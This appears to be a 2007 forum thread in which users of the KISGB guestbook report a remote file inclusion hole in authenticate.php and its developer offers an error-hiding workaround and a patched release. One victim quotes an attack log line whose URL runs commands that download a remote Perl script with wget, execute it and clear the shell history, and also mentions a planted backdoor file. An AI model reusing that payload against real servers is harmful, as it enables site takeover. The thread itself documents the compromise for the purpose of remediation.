Authenticate.php exploit?

New Member Joined: Jul 19, 2007 Posts: 6

Hi,

This morning I was informed by my web host of an exploit dealing with the authenticate.php script. They removed it from my account. Has there been a fix for this? I can't seem to find anything. I would love to keep using KISGB if at all possible.

Thanks,
Zhanna

Yes there is - I haven't published it yet because I am still testing it. It should be soon.

Modify your config.php file

Towards the top of config.php you will see this section:
##################################################
# Message Editing Settings #
##################################################

Add this line of code right BEFORE so it is the last setting in the Path and Security section:
$hide_errors = TRUE;

Then, at the bottom of config.php you will see this section:
######### DO NOT EDIT BELOW THIS LINE!! ##########
if (@file_exists($path_to_user_prefs)&&$use_userprefs) @include($path_to_user_prefs);

Add this line right after:
if (isset($hide_errors) AND $hide_errors) @ini_set('display_errors','off');

This will mask the error message that reveals the exploit. There is more code to fully fix the code but this will render the exploit useless.

Thanks! Will try this as soon as I can, hoping it will be good enough to satisfy my web host until the complete fix is ready.

Hi !

Your solution doesn't work ! Sad

My website was hacked by your script. Here is the log file :

19/Oct/2007:12:44:39 +0200] "GET /modules/kisgb-nuke/authenticate.php?default_path_for_themes=http://fr0x3rs.interfree.it/CmD/math1.php?&cmd=cd%20/tmp;wget%20http://fr0x3rs.interfree.it/s01.txt;perl%20s01.txt;rm%20s01.txt;unset;history%20-c HTTP/1.1" 200 1760 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7"
host56-235-static.53-82-b.business.telecomitalia.it -

Before this, I added these code but they don't work !
$hide_errors = TRUE;
if (isset($hide_errors) AND $hide_errors) @ini_set('display_errors','off');

Do you have any other solution ???
the hackers add a file named "backd00r.c" on the module root directory ! Go to google with this keyword "backd00r.c" and you'll see... Sad

Thank you for your answer...

I have a "not fully tested" new version of KISGB that corrects all of this, at least I and the other testers haven't been able to break it. I will ready it for release (hopefully) w/i the next hour or so. I apologize for these issues and my health has not been good the past year or I would have had this released.

I have sent you an email with a d/l link for v5.2.0. Please grab a copy and install it. Please test it thoroughly and let me know just asap if it is now working corectly.

Thank you very much for your quick answer !

In fact, the previous version was very dangerous. My web host put down my website !

I'll try this new version asap and let you know !

Thanks again !

What have you found in your testing? I really need to release this. Thanks!
